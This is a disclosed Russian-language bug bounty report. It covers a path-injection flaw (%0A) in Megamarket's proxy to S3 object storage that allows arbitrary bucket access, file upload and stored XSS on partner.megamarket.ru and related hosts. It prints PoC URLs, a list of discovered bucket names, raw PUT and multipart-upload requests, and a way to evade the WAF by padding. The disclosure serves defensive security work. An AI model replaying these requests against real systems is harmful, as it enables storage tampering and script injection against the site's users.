[partner.megamarket.ru] Некорректное проксирование на S3 / Stored XSS
Где обнаружено
partner.megamarket.ru partner.sbermegamarket.ru cdp-cdn.sbermegamarket.ru
Описание уязвимости
В случае, если в пути запроса к
partner.megamarket.ru есть символ %0A, это нарушает правило проксирования запроса в объектное хранилище. В результате чего первая папка в пути воспринимается как имя s3 бакета.Это позволяет атакующему:
- Формировать GET/POST/PUT/DELETE запросы на произвольные бакеты
- Загружать в небезопасно настроенные бакеты файлы
- Открыть загруженный файл в контексте
partner.megamarket.ruдля эксплуатации как Stored XSS
PoC
Открыть пример загруженного файла, который выполняет функцию
alert(document.domain)https://partner.megamarket.ru/web/poc%0apoc https://partner.sbermegamarket.ru/web/poc%0apoc https://cdp-cdn.sbermegamarket.ru/web/poc%0apoc
Шаги воспроизведения
Пример обращения к произвольному бакету. Бакет
xxx не существует и возвращается ошибка NoSuchBuckethttps://partner.megamarket.ru/xxx/xxx%0axxx
По тексту ошибки я перебрал бакеты и нашел существующие
atom, web, button, delete, default, img, data, docs, new, pub, back, boot, cms, dev, win, image, linux, media, misc, site, apps, code, imgs, mail, videos, backup, files, images, shared, video, check, config, guide, prod, test, archive, export, import, mirror, policy, report, upload, support, hardware, packages, portal, reports, static, software, microsoft, storage, windows, templates, newsletter, documentation
Сформировав PUT запрос я обнаружил бакеты, позволяющие загрузить произвольный файл.
Список небезопасно настроенных бакетов.
Список небезопасно настроенных бакетов.
atom, web, button, delete, default
Пример запроса на загрузку файла
test%0atest в бакет web. Для того чтобы после загрузки файл был доступен, я использую в запросе заголовок x-amz-acl: public-readPUT /web/test%0atest HTTP/1.1 Host: partner.megamarket.ru Content-Type: text/html Content-Length: 12 x-amz-acl: public-read <marquee>XSS
Пример загруженного файла
https://partner.megamarket.ru/web/test%0atest
Так как WAF блокировал XSS пейлоады, мне пришлось загрузить файл по частям используя multipart upload. Но, так как объектное хранилище имеет настройку минимального размера загружаемой части файла, пришлось дополнять при загруке части до 5 МБ.
Запрос на создание сессии мультипарт загрузки
Запрос на создание сессии мультипарт загрузки
POST /web/poc%0apoc?uploads HTTP/1.1 Host: partner.megamarket.ru Content-Type: text/html Content-Length: 0 x-amz-acl: public-read
Из HTTP ответа необходимо получить UploadId, указать его в запросе и загрузить файл по частям
PUT /web/poc%0apoc?partNumber=1&uploadId=2~xwsBRgCRc37Mt2mxnrplbIzO8BPQtgL HTTP/1.1 Host: partner.megamarket.ru Content-Type: text/html Content-Length: 5559848 x-amz-acl: public-read <script/AAAAAAAAAAAAAAAAAAAAA...дополнение части до 5 МБ
После загрузки всех фрагментов XSS необходимо завершить мультипарт загрузку, отправив md5 хэш загруженных частей
POST /web/poc%0apoc?uploadId=2~xwsBRgCRc37Mt2mxnrplbIzO8BPQtgL HTTP/1.1 Host: partner.megamarket.ru Content-Type: text/html Content-Length: 509 x-amz-acl: public-read <?xml version="1.0" encoding="UTF-8"?> <CompleteMultipartUpload> <Part> <PartNumber>1</PartNumber> <ETag>eb8964e89c95b3c1e51a145ebd899191</ETag> </Part> <Part> <PartNumber>2</PartNumber> <ETag>2ed55a9e402174537200603b0e3c9a4f</ETag> </Part> <Part> <PartNumber>3</PartNumber> <ETag>c39a3dfb2330231835102e347011664d</ETag> </Part> <Part> <PartNumber>4</PartNumber> <ETag>cedf8da05466bb54708268b3c694a78f</ETag> </Part> </CompleteMultipartUpload>
В результате чего загруженный файл доступен по следующим ссылкам
https://partner.megamarket.ru/web/poc%0apoc https://partner.sbermegamarket.ru/web/poc%0apoc https://cdp-cdn.sbermegamarket.ru/web/poc%0apoc
Влияние на безопасность
Атакующий имеет возможность:
- Формировать GET/POST/PUT/DELETE запросы на произвольные бакеты
- Загружать в небезопасно настроенные бакеты файл
- Открыть загруженный файл в контексте
partner.megamarket.ruдля эксплуатации как Stored XSS
Reward
₽43,470
Megamarket
Megamarket
Report No.: 6663
Created: September 1, 2024, 21:12
Disclosed: March 4, 14:30
Status: Accepted
Type: Vulnerability
Severity:
Medium
Author:BlackFan